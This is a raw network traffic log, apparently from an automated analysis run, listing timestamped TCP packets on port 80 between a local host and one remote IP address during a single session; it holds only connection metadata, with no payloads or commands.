Oct 30, 2024 18:06:46.718065023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718075037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718086004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718097925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718138933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718168020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718173981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718185902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718197107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718211889 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718214989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718228102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718235970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718240023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718255043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718261957 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718266964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718285084 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718307018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718314886 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718319893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718331099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718342066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718343019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718353987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718367100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718368053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718381882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718390942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718409061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718416929 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718420982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718435049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718446016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718447924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718461037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718462944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718487978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718502998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718554020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718565941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718583107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718590975 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718594074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718605042 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718606949 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718617916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718628883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718630075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718641043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718651056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718672991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718682051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718694925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718703985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718714952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718719959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718729019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718743086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718763113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718827009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718837023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718852043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718863964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718868017 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718875885 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718888998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718890905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718902111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718913078 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718915939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718928099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718935013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718940020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718952894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718955994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718980074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718997955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719010115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719024897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719033957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719034910 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.719046116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719058037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719059944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.719069958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719089985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.719099045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.719099045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.719127893 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.759809971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759835958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759849072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759859085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759867907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.759870052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759885073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759896040 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.759896994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759911060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759917021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.759924889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.759926081 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.759953022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.759979963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760052919 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760092974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760123014 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760134935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760148048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760164022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760169029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760175943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760186911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760196924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760198116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760216951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760236979 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760279894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760292053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760302067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760313034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760318041 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760324955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760338068 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760343075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760366917 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760384083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760458946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760524988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760535002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760546923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760560036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760586023 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760622025 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760633945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760668993 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760742903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760754108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760765076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760776997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760787964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760793924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760807037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760826111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760888100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760899067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760910034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760926008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760938883 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.760957003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760968924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760979891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.760993958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761008978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761028051 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761079073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761089087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761099100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761110067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761121035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761121035 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761132002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761143923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761146069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761154890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761154890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761171103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761183977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761184931 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761193991 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761209011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761225939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761228085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761240005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761250019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761267900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761276007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761281013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761291981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761302948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761313915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761322021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761326075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761343002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761368036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761445045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761456013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761466026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761487961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761495113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761496067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761502028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761504889 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761507034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761512995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761519909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761526108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761533022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761538982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.761544943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.761584044 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762221098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762258053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762319088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762330055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762341022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762351036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762365103 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762367010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762372971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762399912 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762412071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762440920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762451887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762461901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762474060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762475014 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762485981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762496948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762499094 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762507915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762518883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762525082 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762528896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762536049 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762567997 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762571096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762577057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762579918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762593031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762603998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762614965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762614965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762626886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762643099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762662888 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762712955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762725115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762734890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762748957 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762753010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762770891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762772083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762783051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762794971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762799025 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762806892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762819052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762823105 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762830973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762851000 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762873888 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762893915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762904882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762914896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762926102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.762928963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.762955904 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763088942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763101101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763117075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763127089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763134956 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763138056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763150930 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763151884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763163090 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763175011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763175011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763186932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763195038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763199091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763210058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763225079 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763226986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763238907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763241053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763252974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763256073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763262033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763271093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763297081 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763335943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763335943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763387918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763398886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763420105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763432026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763432980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763442993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763454914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763456106 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763463020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763472080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763473988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763479948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763483047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763494015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763494968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763506889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763516903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763518095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763537884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763545036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763556004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763557911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763566971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763578892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763583899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763596058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763601065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763609886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763622046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763624907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763634920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763644934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763655901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763655901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763683081 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763695002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763716936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763727903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763745070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763761997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763762951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763773918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763784885 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763787031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763797045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763808966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763811111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763820887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763833046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763835907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763854980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763873100 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.763902903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763914108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.763930082 CET	80	49812	185.215.113.206	192.168.2.5
